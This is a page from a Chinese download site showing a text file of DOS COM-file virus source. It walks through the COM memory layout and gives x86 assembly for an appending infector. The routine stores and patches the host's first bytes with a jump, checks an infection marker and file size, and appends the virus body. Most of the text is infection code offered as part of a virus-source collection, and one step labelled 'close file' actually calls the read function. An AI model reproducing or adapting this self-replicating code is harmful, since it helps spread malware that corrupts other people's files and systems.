⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 感染com病毒源码.txt

📁 病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码
💻 TXT
字号:
COM文件是纯粹代码映象,加载后在内存中的映象如下:
CS=DS=ES=SS
CS:0000->+----------+
| PSP |
IP(0100)->+----------+
| COM FILE |
SP(FFFE)->+----------+
| dw 0000 |
+----------+
因此COM文件的最大SIZE为 64K-100h bytes - 1 word
感染COM的典型做法如下:
cs:0100 jmp endoffile ;db 0e9h
;dw size of com file
...
endoffile:
virusstart:
virus code

mov ax,orgcode
mov [100],ax
mov al,[orgcode+2]
mov [102],al
virussize=$-virusstart
resume:
jmp 100 ;db 0e9h
;dw -(sizeofcom+virussize)
orgcode db 3 dup (?) ;由原文件由0100开始的三个字节
感染文件,先将开始的三字节保存在orgcode中,然后更改为0E9H,SIZEOFCOMFILE.
将resume开始的三字节改为0E9H,-(sizeofcom+virussize).将病毒写入com文件的末尾.
(是不是很简单^_^).
完整的感染代码还需要有已感染的判断,和文件大小的判断.如下:

假设DS:DX指向文件名VirusSize,VirusStart的定义如上.并以下的修改:
保存开始的四个字节用
db 90h,0E9h
dw sizeofcom
替换,以0E990h为感染标记
...
mov ax,3d01h
int 21h ;open for r/w
jc OpenError
push dx
xchg ax,bx
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;seek to end
or dx,dx
jnz complete ;file larger than 64k,donot infect
cmp ax,0FEEEh-VirusSize-11
jnb complete ;com file too large for infect

cmp ax,4
jb complete ;file less than 4 bytes,donot infected

mov di,offset orgcode
mov [di+6],ax
add [di+6],VirusSize ;generate code to replace

mov ax,4200h
xor cx,cx
xor dx,dx
int 21h ;seek to begin

mov cx,4
mov dx,di
mov ah,3fh
int 21h ;read 4 bytes

jc complete
cmp word ptr [di],0E990h 
;if has been infected,should be
;nop
;jmp XXXX
jz complete
mov cx,4
add dx,cx
mov ah,40h
int 21h ;write 4 byte to the beginning

mov ax,4202h
xor cx,cx
xor dx,dx
int 21h ;seek to end

mov ah,40h
mov dx,VirusStart
mov cx,VirusSize+11
int 21h ;write Virus Code to COM
complete:
mov ah,3fh
int 21h ;close file
ErrorOpen:
...

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -